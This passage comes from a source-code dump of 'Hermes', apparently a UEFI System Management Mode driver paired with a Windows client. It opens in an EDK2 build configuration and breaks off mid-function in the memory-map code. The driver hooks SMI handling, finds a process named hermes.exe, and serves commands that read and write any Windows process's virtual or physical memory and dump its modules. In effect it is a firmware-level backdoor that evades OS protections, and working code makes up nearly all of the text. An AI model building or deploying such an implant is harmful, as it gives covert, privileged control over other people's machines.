will be used for the 23 | # build. This line is required if and only if the current 24 | # working directory does not contain one or more description 25 | # files. 26 | ACTIVE_PLATFORM = OvmfPkg/OvmfPkgX64.dsc 27 | 28 | # TARGET List Optional Zero or more of the following: DEBUG, RELEASE, NOOPT 29 | # UserDefined; separated by a space character. 30 | # If the line is missing or no value is specified, all 31 | # valid targets specified in the platform description file 32 | # will attempt to be built. The following line will build 33 | # DEBUG platform target. 34 | TARGET = RELEASE 35 | 36 | # TARGET_ARCH List Optional What kind of architecture is the binary being target for. 37 | # One, or more, of the following, IA32, IPF, X64, EBC, ARM 38 | # or AArch64. 39 | # Multiple values can be specified on a single line, using 40 | # space charaters to separate the values. These are used 41 | # during the parsing of a platform description file, 42 | # restricting the build output target(s.) 43 | # The Build Target ARCH is determined by (precedence high to low): 44 | # Command-line: -a ARCH option 45 | # target.txt: TARGET_ARCH values 46 | # DSC file: [Defines] SUPPORTED_ARCHITECTURES tag 47 | # If not specified, then all valid architectures specified 48 | # in the platform file, for which tools are available, will be 49 | # built. 50 | TARGET_ARCH = X64 51 | 52 | # TOOL_DEFINITION_FILE Filename Optional Specify the name of the filename to use for specifying 53 | # the tools to use for the build. If not specified, 54 | # WORKSPACE/Conf/tools_def.txt will be used for the build. 55 | TOOL_CHAIN_CONF = Conf/tools_def.txt 56 | 57 | # TAGNAME List Optional Specify the name(s) of the tools_def.txt TagName to use. 58 | # If not specified, all applicable TagName tools will be 59 | # used for the build. The list uses space character separation. 60 | TOOL_CHAIN_TAG = GCC5 61 | 62 | # MAX_CONCURRENT_THREAD_NUMBER NUMBER Optional The number of concurrent threads. If not specified or set 63 | # to zero, tool automatically detect number of processor 64 | # threads. Recommend to set this value to one less than the 65 | # number of your computer cores or CPUs. When value set to 1, 66 | # means disable multi-thread build, value set to more than 1, 67 | # means user specify the thread number to build. Not specify 68 | # the default value in this file. 69 | # MAX_CONCURRENT_THREAD_NUMBER = 1 70 | 71 | 72 | # BUILD_RULE_CONF Filename Optional Specify the file name to use for the build rules that are followed 73 | # when generating Makefiles. If not specified, the file: 74 | # WORKSPACE/Conf/build_rule.txt will be used 75 | BUILD_RULE_CONF = Conf/build_rule.txt 76 | 77 | -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/NTKernelTools.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file and the corresponding .c file 3 | * contains a set of needed Windows-related 4 | * functions for both reading & writing its 5 | * virtual memory. 6 | * 7 | * These files are imported and ported to work 8 | * in SMM. The original libraries are 9 | * 10 | * - MemProcFS/pcileech by Ulf Frisk 11 | * - vmread by Heep042 12 | * 13 | */ 14 | 15 | #ifndef __hermes_ntkerneltools_h__ 16 | #define __hermes_ntkerneltools_h__ 17 | 18 | #include 19 | #include 20 | #include 21 | 22 | #include "windows.h" 23 | #include "serial.h" 24 | #include "string.h" 25 | #include "Memory.h" // VTOP, p_memCpy, v_memCpy 26 | #include "MemManager.h" 27 | 28 | #define IMAGE_DIRECTORY_ENTRY_IMPORT 1 29 | #define IMAGE_SCN_MEM_EXECUTE 0x20000000 30 | #define IMAGE_SCN_MEM_WRITE 0x80000000 31 | 32 | typedef struct ProcessData 33 | { 34 | UINT64 mapsStart; 35 | UINT64 mapsSize; 36 | INT32 pid; 37 | } ProcessData; 38 | 39 | typedef struct WinOffsets 40 | { 41 | INT64 apl; 42 | INT64 session; 43 | INT64 imageFileName; 44 | INT64 dirBase; 45 | INT64 peb; 46 | INT64 peb32; 47 | INT64 threadListHead; 48 | INT64 threadListEntry; 49 | INT64 teb; 50 | } WinOffsets; 51 | 52 | typedef struct WinProc 53 | { 54 | UINT64 process; 55 | UINT64 physProcess; 56 | UINT64 dirBase; 57 | UINT64 pid; 58 | char name[16]; 59 | } WinProc; 60 | 61 | typedef struct WinProcList 62 | { 63 | WinProc *list; 64 | size_t size; 65 | } WinProcList; 66 | 67 | typedef struct WinExport 68 | { 69 | char *name; 70 | UINT64 address; 71 | } WinExport; 72 | 73 | typedef struct WinExportList 74 | { 75 | WinExport *list; 76 | size_t size; 77 | } WinExportList; 78 | 79 | typedef struct WinModule 80 | { 81 | UINT64 baseAddress; 82 | UINT64 entryPoint; 83 | UINT64 sizeOfModule; 84 | char *name; 85 | short loadCount; 86 | } WinModule; 87 | 88 | typedef struct WinModuleList 89 | { 90 | WinModule *list; 91 | size_t size; 92 | } WinModuleList; 93 | 94 | typedef struct WinCtx 95 | { 96 | ProcessData process; 97 | WinOffsets offsets; 98 | UINT64 ntKernel; 99 | UINT16 ntVersion; 100 | UINT32 ntBuild; 101 | WinExportList ntExports; 102 | WinProc initialProcess; 103 | } WinCtx; 104 | 105 | typedef struct tdPE_THUNKINFO_IAT 106 | { 107 | UINT32 fValid; 108 | UINT32 f32; // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry. 109 | UINT64 vaThunk; // address of import address table 'thunk'. 110 | UINT64 vaFunction; // value if import address table 'thunk' == address of imported function. 111 | UINT64 vaNameModule; // address of name string for imported module. 112 | UINT64 vaNameFunction; // address of name string for imported function. 113 | } PE_THUNKINFO_IAT, *PPE_THUNKINFO_IAT; 114 | 115 | typedef struct tdPE_THUNKINFO_EAT 116 | { 117 | UINT32 fValid; 118 | UINT32 valueThunk; // value of export address table 'thunk'. 119 | UINT64 vaThunk; // address of import address table 'thunk'. 120 | UINT64 vaNameFunction; // address of name string for exported function. 121 | UINT64 vaFunction; // address of exported function (module base + value parameter). 122 | } PE_THUNKINFO_EAT, *PPE_THUNKINFO_EAT; 123 | 124 | typedef struct _IMAGE_IMPORT_DESCRIPTOR 125 | { 126 | union { 127 | UINT32 Characteristics; //0 for terminating null import descriptor 128 | UINT32 OriginalFirstThunk; // RVA to original unbound IAT 129 | }; 130 | UINT32 TimeDateStamp; 131 | UINT32 ForwarderChain; // -1 if no forwarders 132 | UINT32 Name; // RVA of imported DLL name (null-terminated SCII) 133 | UINT32 FirstThunk; // RVA to IAT (if bound this IAT has addresses ) 134 | 135 | } IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR; 136 | 137 | 138 | 139 | BOOLEAN InitGlobalWindowsContext(); 140 | IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit); 141 | BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList); 142 | BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList); 143 | VOID FreeExportList(WinExportList list); 144 | UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName); 145 | UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName); 146 | PEB GetPeb(const WinCtx *ctx, const WinProc *process); 147 | PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process); 148 | BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose); 149 | BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose); 150 | BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose); 151 | BOOLEAN DumpModuleNames(WinCtx* ctx, WinProc* process, BOOLEAN verbose, UINT64 moduleList, UINT64 *moduleListCount); 152 | 153 | BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT); 154 | 155 | BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections); 156 | 157 | UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName); 158 | 159 | #endif -------------------------------------------------------------------------------- /Hermes-Client/Hermes/Prints.cpp: -------------------------------------------------------------------------------- 1 | #include "Prints.h" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | // Status codes used for communication between client and smm 8 | std::map hermes_statuscodes = 9 | { 10 | { HERMES_STATUS_INVALID_COMMAND, "Invalid command parameter was passed" }, 11 | { HERMES_STATUS_INVALID_DATA_PTR, "Invalid data pointer was passed" }, 12 | { HERMES_STATUS_INVALID_RES_PTR, "Invalid result pointer was passed" }, 13 | { HERMES_STATUS_INVALID_IDENTIFIERS, "Invalid identifiers were passed" }, 14 | { HERMES_STATUS_FAIL_FIND_PROC, "Failed finding the process" }, 15 | { HERMES_STATUS_FAIL_FIND_DIRBASE, "Failed getting dirbase" }, 16 | { HERMES_STATUS_FAIL_FIND_MOD, "Failed finding the module" }, 17 | { HERMES_STATUS_FAIL_READ_MOD_BASE, "Failed reading module base" }, 18 | { HERMES_STATUS_FAIL_READ_MOD_SIZE, "Failed reading module size" }, 19 | { HERMES_STATUS_PROCNAME_TOO_LONG, "Process name size is too big" }, 20 | { HERMES_STATUS_MODNAME_TOO_LONG, "Module name size is too big" }, 21 | { HERMES_STATUS_FAIL_VIRT_READ, "Failed reading virtual address" }, 22 | { HERMES_STATUS_FAIL_VIRT_WRITE, "Failed writing virtual address" }, 23 | { HERMES_STATUS_INVALID_DATA_SOURCE, "Invalid data source was passed" }, 24 | { HERMES_STATUS_INVALID_DATA_DIRBASE, "Invalid data dirbase was passed" }, 25 | { HERMES_STATUS_INVALID_DATA_SIZE, "Invalid data size was passed" }, 26 | { HERMES_STATUS_INVALID_DATA_DEST, "Invalid data destination was passed" }, 27 | { HERMES_STATUS_REQ_TOO_LARGE, "Requested size is too big" }, 28 | { HERMES_STATUS_FAIL_SBUFF_VIRTW, "Failed reading source buffer for virtual write" }, 29 | { HERMES_STATUS_FAIL_ADDR_TRANSLATION, "Failed translating address" }, 30 | { HERMES_STATUS_FAIL_SBUFF_PHYSW, "Failed reading source buffer for physical write" }, 31 | { HERMES_STATUS_INVALID_MOD_BASE, "Invalid module base" }, 32 | { HERMES_STATUS_INVALID_MOD_SIZE, "Invalid module size" }, 33 | { HERMES_STATUS_FAIL_PHYS_READ, "Failed reading physical address" }, 34 | { HERMES_STATUS_FAIL_PHYS_WRITE, "Failed writing physical address" } 35 | }; 36 | 37 | /* 38 | * Function for printing out the various supported commands. 39 | * Asks for the following parameter: 40 | * - dummy, can be left empty. Is just needed because all the other function in the 41 | * function map have a parameter. 42 | * 43 | */ 44 | void printCommands(uint64_t dummy) 45 | { 46 | std::cout << "Commands: " << std::endl; 47 | std::cout << " gd - gets dirbase from the supplied process" << std::endl; 48 | std::cout << " gmd - gets data from the supplied modulename" << std::endl; 49 | std::cout << " gm - returns all the modules from the supplied process" << std::endl; 50 | std::cout << " gmv - returns all the modules from the supplied process with additional infos" << std::endl; 51 | std::cout << " vr - reads the supplied virtual address" << std::endl; 52 | std::cout << " vw - writes to supplied virtual address" << std::endl; 53 | std::cout << " pr - reads the supplied physical address" << std::endl; 54 | std::cout << " pw - writes to supplied physical address" << std::endl; 55 | std::cout << " vtp - converts virtual to physical" << std::endl; 56 | std::cout << " dm - dumps the supplied modulename / size" << std::endl; 57 | std::cout << " exit - ends the Hermes process " << std::endl; 58 | std::cout << " help - displays this again" << std::endl; 59 | } 60 | 61 | /* 62 | * Function for printing out a memory buffer. 63 | * Asks for the following two parameters: 64 | * - buf, the actual buffer which should be printed out 65 | * - size, the size of the buffer that should be printed out 66 | * 67 | * The Output will be formatted nicely to make it easier to interpret. 68 | * 69 | */ 70 | void printBuffer(unsigned char *buf, int size) 71 | { 72 | for (int i = 0; i < size; i += 0x10) 73 | { 74 | std::cout << std::endl << std::hex << std::setw(4) << std::setfill('0') << (int)i << ": "; 75 | 76 | for (int j = 0; j < 0x10; j++) 77 | { 78 | if (i + j < size) 79 | { 80 | std::cout << std::hex << std::setw(2) << std::setfill('0') << (int)(uint8_t)buf[i + j] << " "; 81 | } 82 | else 83 | { 84 | // Fill the rest with ?? 85 | std::cout << "??" << " "; 86 | } 87 | } 88 | 89 | std::cout << " : "; 90 | 91 | for (int j = 0; j < 0x10; j++) 92 | { 93 | if (i + j < size) 94 | { 95 | if (buf[i + j] >= 0x21 && buf[i + j] <= 0x7e) 96 | { 97 | std::cout << (buf[i + j]) << " "; 98 | } 99 | } 100 | } 101 | } 102 | std::cout << std::endl << std::endl; 103 | } 104 | 105 | /* 106 | * Function for printing out the error message from the error code. 107 | * Asks for the following parameter: 108 | * - errorcode, the code which was returned by SMM 109 | * 110 | * Unknown errors should not happen. 111 | * 112 | */ 113 | void printError(uint64_t errorcode) 114 | { 115 | try 116 | { 117 | std::cout << hermes_statuscodes.at(errorcode) << " (0x" << errorcode << ")" << std::endl; 118 | } 119 | catch (...) 120 | { 121 | // Invalid status code received, print unknown 122 | std::cout << "Unknown error occured (0x" << errorcode << ")" << std::endl; 123 | } 124 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/Memory.c: -------------------------------------------------------------------------------- 1 | #include "Memory.h" 2 | 3 | // from Main.c 4 | extern EFI_SMM_SYSTEM_TABLE2 *gSmst2; 5 | 6 | BOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose) 7 | { 8 | // Check if the address ranges are in allowed range 9 | if ((IsAddressValid((UINT64)src) == FALSE || IsAddressValid((UINT64)(src + n - 1)) == FALSE)) 10 | { 11 | SerialPrintString("[p_memCpy] Aborted duo to disallowed memory range \r\n"); 12 | 13 | return FALSE; 14 | } 15 | 16 | // Typecast src and dest addresses to (char *) 17 | CHAR8 *csrc = (char *)src; 18 | CHAR8 *cdest = (char *)dest; 19 | 20 | // Copy contents of src[] to dest[] 21 | for (INT32 i = 0; i < n; i++) 22 | cdest[i] = csrc[i]; 23 | 24 | return TRUE; 25 | } 26 | 27 | UINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose) 28 | { 29 | if (address == 0 && verbose) 30 | { 31 | SerialPrintStringDebug("[VTOP] address is 0 \r\n"); 32 | return 0; 33 | } 34 | 35 | if (directoryBase == 0 && verbose) 36 | { 37 | SerialPrintStringDebug("[VTOP] directoryBase is 0 \r\n"); 38 | return 0; 39 | } 40 | 41 | directoryBase &= ~0xf; 42 | 43 | UINT64 pageOffset = address & ~(~0ul << PAGE_OFFSET_SIZE); 44 | UINT64 pte = ((address >> 12) & (0x1ffll)); 45 | UINT64 pt = ((address >> 21) & (0x1ffll)); 46 | UINT64 pd = ((address >> 30) & (0x1ffll)); 47 | UINT64 pdp = ((address >> 39) & (0x1ffll)); 48 | 49 | if (verbose) 50 | { 51 | SerialPrintString("Dirbase: "); 52 | SerialPrintNumber(directoryBase, 16); 53 | SerialPrintString(" VA "); 54 | SerialPrintNumber(address, 16); 55 | SerialPrintString(" PO: "); 56 | SerialPrintNumber(pageOffset, 16); 57 | SerialPrintString(" PTE "); 58 | SerialPrintNumber(pte, 16); 59 | SerialPrintString(" PT "); 60 | SerialPrintNumber(pt, 16); 61 | SerialPrintString(" PD "); 62 | SerialPrintNumber(pd, 16); 63 | SerialPrintString(" PDP "); 64 | SerialPrintNumber(pdp, 16); 65 | SerialPrintString("\r\n"); 66 | } 67 | 68 | UINT64 pdpe = 0; 69 | p_memCpy((UINT64)&pdpe, directoryBase + 8 * pdp, sizeof(UINT64), verbose); 70 | 71 | if (verbose) 72 | { 73 | SerialPrintString("Dump PDPE at "); 74 | SerialPrintNumber(directoryBase + 8 * pdp, 16); 75 | SerialPrintString("results "); 76 | SerialPrintNumber(pdpe, 16); 77 | SerialPrintString("\r\n"); 78 | } 79 | 80 | if (~pdpe & 1) 81 | return 0; 82 | 83 | UINT64 pde = 0; 84 | p_memCpy((UINT64)&pde, (UINT64)(pdpe & PMASK2) + 8 * pd, sizeof(UINT64), verbose); 85 | 86 | if (verbose) 87 | { 88 | SerialPrintString("Dump pde at "); 89 | SerialPrintNumber((pdpe & PMASK2) + 8 * pd, 16); 90 | SerialPrintString("results "); 91 | SerialPrintNumber(pde, 16); 92 | SerialPrintString("\r\n"); 93 | } 94 | 95 | if (~pde & 1) 96 | return 0; 97 | 98 | /* 1GB large page, use pde's 12-34 bits */ 99 | if (pde & 0x80) 100 | return (pde & (~0ull << 42 >> 12)) + (address & ~(~0ull << 30)); 101 | 102 | UINT64 pteAddr = 0; 103 | p_memCpy((UINT64)&pteAddr, (UINT64)(pde & PMASK2) + 8 * pt, sizeof(UINT64), verbose); 104 | 105 | if (verbose) 106 | { 107 | SerialPrintString("Dump pteAddr at "); 108 | SerialPrintNumber((pde & PMASK2) + 8 * pt, 16); 109 | SerialPrintString("results "); 110 | SerialPrintNumber(pteAddr, 16); 111 | SerialPrintString("\r\n"); 112 | } 113 | 114 | if (~pteAddr & 1) 115 | return 0; 116 | 117 | /* 2MB large page */ 118 | if (pteAddr & 0x80) 119 | return (pteAddr & PMASK) + (address & ~(~0ull << 21)); 120 | 121 | p_memCpy((UINT64)&address, (UINT64)(pteAddr & PMASK) + 8 * pte, sizeof(UINT64), verbose); 122 | 123 | address = address & PMASK; 124 | 125 | if (verbose) 126 | { 127 | SerialPrintString("Dump address at "); 128 | SerialPrintNumber((pteAddr & PMASK) + 8 * pte, 16); 129 | SerialPrintString("results "); 130 | SerialPrintNumber(address, 16); 131 | SerialPrintString("\r\n"); 132 | } 133 | 134 | if (!address) 135 | return 0; 136 | 137 | // UINT64 tempPhys = address & 0xFFFFFFFFFFFFF000; 138 | // UINT64 physAddress = tempPhys + virtOffs; 139 | 140 | return address + pageOffset; 141 | } 142 | 143 | BOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) 144 | { 145 | // Translate to physical 146 | UINT64 pDest = VTOP(dest, directoryBase, FALSE); 147 | 148 | if (pDest == 0) 149 | { 150 | return FALSE; 151 | } 152 | 153 | // Read physical 154 | return p_memCpy(pDest, src, n, verbose); 155 | } 156 | 157 | BOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) 158 | { 159 | UINT64 curr_vAddr = src; 160 | UINT64 read = 0; 161 | 162 | while (n > 0) 163 | { 164 | UINT64 nextPage = (curr_vAddr + 0x1000) & ~0xfff; 165 | UINT64 to_read = nextPage - curr_vAddr; 166 | 167 | // if it's the "last" read 168 | if (n < to_read) 169 | to_read = n; 170 | 171 | // Translate to physical 172 | UINT64 pSrc = VTOP(curr_vAddr, directoryBase, FALSE); 173 | if (pSrc == 0) 174 | { 175 | return FALSE; 176 | } 177 | // read physical 178 | p_memCpy(dest + read, pSrc, to_read, verbose); 179 | n -= to_read; 180 | read += to_read; 181 | curr_vAddr += to_read; 182 | } 183 | return TRUE; 184 | } 185 | 186 | BOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose) 187 | { 188 | // Translate to physical 189 | UINT64 pSrc = VTOP(src, directoryBase, FALSE); 190 | 191 | if (pSrc == 0) 192 | { 193 | return FALSE; 194 | } 195 | 196 | // Read physical 197 | return p_memCpy(dest, pSrc, n, verbose); 198 | } 199 | 200 | BOOLEAN v_to_v_memCpy(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBaseDest, UINT64 directoryBaseSource, BOOLEAN verbose) 201 | { 202 | // Translate source virtual address to physical 203 | UINT64 pSrc = VTOP(src, directoryBaseSource, verbose); 204 | 205 | if (pSrc == 0) 206 | { 207 | return FALSE; 208 | } 209 | 210 | // Translate destination virtual address to physical 211 | UINT64 pDest = VTOP(dest, directoryBaseDest, verbose); 212 | 213 | if (pDest == 0) 214 | { 215 | return FALSE; 216 | } 217 | 218 | // Read physical 219 | return p_memCpy(pDest, pSrc, n, verbose); 220 | } -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/Main.c: -------------------------------------------------------------------------------- 1 | // Basic UEFI Libraries 2 | #include 3 | 4 | // Protocols 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | // Our includes 18 | #include "MemoryMapUEFI.h" 19 | #include "TimerRTC.h" 20 | #include "TimerPCH.h" 21 | 22 | #include "serial.h" 23 | #include "Memory.h" 24 | #include "Hermes.h" 25 | 26 | /* 27 | * Just a workaround for stupid MVSC pragmas 28 | * and other GCC-only warnings treated as errors. 29 | */ 30 | #ifdef __GNUC__ 31 | #pragma GCC diagnostic push 32 | #pragma GCC diagnostic ignored "-Wunknown-pragmas" 33 | #pragma GCC diagnostic ignored "-Wunused-variable" 34 | #pragma GCC diagnostic ignored "-Wunused-value" 35 | #endif 36 | 37 | // 38 | // On windows these can be changed 39 | // 40 | #ifndef __GNUC__ 41 | extern CONST UINT32 _gUefiDriverRevision = 0; 42 | CHAR8 *gEfiCallerBaseName = "Hermes"; 43 | #endif 44 | 45 | EFI_SMM_SYSTEM_TABLE2 *gSmst2; 46 | 47 | // UEFI Tables (will be gone after exiting DXE stage) 48 | extern EFI_SYSTEM_TABLE *gST; 49 | extern EFI_BOOT_SERVICES *gBS; 50 | extern EFI_RUNTIME_SERVICES *gRT; 51 | 52 | // NTKernelTools.c 53 | extern WinCtx *winGlobal; 54 | 55 | 56 | // System initialization vars 57 | UINT32 SystemStartTime; 58 | UINT32 SystemUptime; 59 | BOOLEAN SystemInitOS; 60 | 61 | 62 | VOID SmmCallHandle() 63 | { 64 | if (!SystemInitOS) 65 | { 66 | // try to grab the windows Context 67 | SystemInitOS = InitGlobalWindowsContext(); 68 | 69 | // give more time if it still failed 70 | if (!SystemInitOS) 71 | { 72 | SerialPrintString(" System OS not found...\r\n"); 73 | SystemStartTime = SystemUptime; 74 | return; 75 | } 76 | } 77 | 78 | // If system has been initialized, poll for user commands 79 | if (FindProcess(winGlobal, "hermes.exe", FALSE)) 80 | { 81 | // Do Hermes Stuff 82 | HermesPollCommands(); 83 | } 84 | 85 | return; 86 | } 87 | 88 | EFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL) 89 | { 90 | // if the OS has not been initialized 91 | if (!SystemInitOS) 92 | { 93 | // count if the OS SHOULD be initialized 94 | UINT16 TimeSinceLastSMI = CmosGetCurrentTime(); 95 | 96 | // Did we overflow? This happens once every hour 97 | if (TimeSinceLastSMI < SystemUptime) 98 | SystemUptime += TimeSinceLastSMI; 99 | else 100 | SystemUptime = TimeSinceLastSMI; 101 | 102 | // ctx not initialized and system hasn't booted completely 103 | if (SystemUptime - SystemStartTime < 10) 104 | { 105 | goto end; 106 | } 107 | } 108 | 109 | SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); 110 | SmmCallHandle(); 111 | 112 | end: 113 | PchInitTimer(); 114 | ClearBits(); 115 | 116 | return EFI_SUCCESS; 117 | } 118 | 119 | EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable) 120 | { 121 | // Write to serial port 122 | SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE); 123 | SerialPrintString("\r\n"); 124 | SerialPrintString("----------------------------------------------\r\n"); 125 | SerialPrintString("| |\r\n"); 126 | SerialPrintString("| Initializing HERMES |\r\n"); 127 | SerialPrintString("| |\r\n"); 128 | SerialPrintString("| Made by |\r\n"); 129 | SerialPrintString("| rain jussihi |\r\n"); 130 | SerialPrintString("| |\r\n"); 131 | SerialPrintString("| Shoutout to |\r\n"); 132 | SerialPrintString("| zyklon vasyan balrog |\r\n"); 133 | SerialPrintString("| floesen niceone sh4rk akandesh |\r\n"); 134 | SerialPrintString("----------------------------------------------\r\n"); 135 | SerialPrintString(" \r\n"); 136 | SerialPrintString("\r\n"); 137 | 138 | // Save the system tables etc. in global variable for further usage 139 | gST = SystemTable; 140 | gBS = SystemTable->BootServices; 141 | gRT = SystemTable->RuntimeServices; 142 | 143 | EFI_STATUS Status = EFI_SUCCESS; 144 | EFI_SMM_BASE2_PROTOCOL *SmmBase2; 145 | 146 | // lookup the SmmBase2 protocol by its GUID 147 | EFI_GUID SmmBase2Guid = EFI_SMM_BASE2_PROTOCOL_GUID; 148 | if ((Status = SystemTable->BootServices->LocateProtocol(&SmmBase2Guid, NULL, (void **)&SmmBase2)) != EFI_SUCCESS) 149 | { 150 | SerialPrintString("Could not locate SmmBase2 protocol!\r\n"); 151 | return Status; 152 | } 153 | 154 | // get EFI_SMM_SYSTEM_TABLE2 in global var 155 | if ((Status = SmmBase2->GetSmstLocation(SmmBase2, &gSmst2)) != EFI_SUCCESS) 156 | { 157 | SerialPrintString("Could not locate SMST!\r\n"); 158 | return Status; 159 | } 160 | 161 | // Register SMI Root Handler, discard the returning handle (we never unload the handler) 162 | EFI_HANDLE hSmmHandler; 163 | if ((Status = gSmst2->SmiHandlerRegister(&SmmHandler, NULL, &hSmmHandler)) != EFI_SUCCESS) 164 | { 165 | return Status; 166 | } 167 | 168 | SerialPrintString("Allocating initial memory \r\n"); 169 | 170 | EFI_PHYSICAL_ADDRESS winGlobalAddress; 171 | Status = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &winGlobalAddress); 172 | winGlobal = (WinCtx *)winGlobalAddress; 173 | SerialPrintString("WinGlobal: 0x"); 174 | SerialPrintNumber((UINT64)winGlobal, 16); 175 | SerialPrintString("\r\n"); 176 | 177 | // Initialize our own heap with some memory to be used 178 | if (InitMemManager(100)) 179 | { 180 | SerialPrintString("memory manager successfully initialized!\r\n"); 181 | } 182 | 183 | // Initialize the virtual memory map for UEFI 184 | SerialPrintString("Initializing UEFI Memory Map \r\n"); 185 | if (!InitUefiMemoryMap()) 186 | { 187 | SerialPrintString("Failed dumping Memory Map for UEFI \r\n"); 188 | return EFI_ERROR_MAJOR; 189 | } 190 | SerialPrintString("Successfully dumped Memory Map \r\n"); 191 | 192 | SerialPrintString("Memory Map at: 0x"); 193 | SerialPrintNumber((UINT64)GetUefiMemoryMap(), 16); 194 | SerialPrintString("\r\n"); 195 | 196 | // Set the start time of the PC 197 | SystemStartTime = CmosGetCurrentTime(); 198 | SystemUptime = SystemStartTime; 199 | SerialPrintStringDebug("Start time was: "); 200 | SerialPrintNumberDebug(SystemStartTime, 10); 201 | SerialPrintStringDebug("\r\n"); 202 | 203 | // Initialize the os ctx value, so no useless 204 | // probing is done while the OS hasn't even booted 205 | SystemInitOS = FALSE; 206 | 207 | PchInitTimer(); 208 | 209 | return Status; 210 | } 211 | 212 | 213 | #ifdef __GNUC__ 214 | #pragma GCC diagnostic pop 215 | #endif -------------------------------------------------------------------------------- /Hermes-SMM/Hermes-src/Hermes/MemoryMapUEFI.c: -------------------------------------------------------------------------------- 1 | #include "MemoryMapUEFI.h" 2 | 3 | EFI_EXIT_BOOT_SERVICES gOrigExitBootServices; 4 | EFI_MEMORY_DESCRIPTOR *mUefiMemoryMap; 5 | UINTN mUefiMemoryMapSize; 6 | UINTN mUefiDescriptorSize; 7 | extern EFI_BOOT_SERVICES *gBS; // From Main.c 8 | 9 | #define NEXT_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \ 10 | ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) + (Size))) 11 | 12 | #define PREVIOUS_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \ 13 | ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) - (Size))) 14 | 15 | BOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap) 16 | { 17 | switch (MemoryMap->Type) 18 | { 19 | //case EfiLoaderCode: 20 | //case EfiLoaderData: 21 | //case EfiBootServicesCode: 22 | //case EfiBootServicesData: 23 | //case EfiUnusableMemory: 24 | //case EfiACPIReclaimMemory: 25 | //return TRUE; 26 | default: 27 | return FALSE; 28 | } 29 | } 30 | 31 | STATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN verbose) 32 | { 33 | // Typecast src and dest addresses to (char *) 34 | CHAR8 *csrc = (CHAR8 *)src; 35 | CHAR8 *cdest = (CHAR8 *)dest; 36 | 37 | // Copy contents of src[] to dest[] 38 | for (UINT32 i = 0; i < n; i++) 39 | cdest[i] = csrc[i]; 40 | 41 | return TRUE; 42 | } 43 | 44 | STATIC VOID SortMemoryMap( 45 | IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap, 46 | IN UINTN MemoryMapSize, 47 | IN UINTN DescriptorSize) 48 | { 49 | EFI_MEMORY_DESCRIPTOR *MemoryMapEntry; 50 | EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry; 51 | EFI_MEMORY_DESCRIPTOR *MemoryMapEnd; 52 | EFI_MEMORY_DESCRIPTOR TempMemoryMap; 53 | 54 | MemoryMapEntry = MemoryMap; 55 | NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize); 56 | MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + MemoryMapSize); 57 | while (MemoryMapEntry < MemoryMapEnd) 58 | { 59 | while (NextMemoryMapEntry < MemoryMapEnd) 60 | { 61 | if (MemoryMapEntry->PhysicalStart > NextMemoryMapEntry->PhysicalStart) 62 | { 63 | CopyMem(&TempMemoryMap, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); 64 | CopyMem(MemoryMapEntry, NextMemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR)); 65 | CopyMem(NextMemoryMapEntry, &TempMemoryMap, 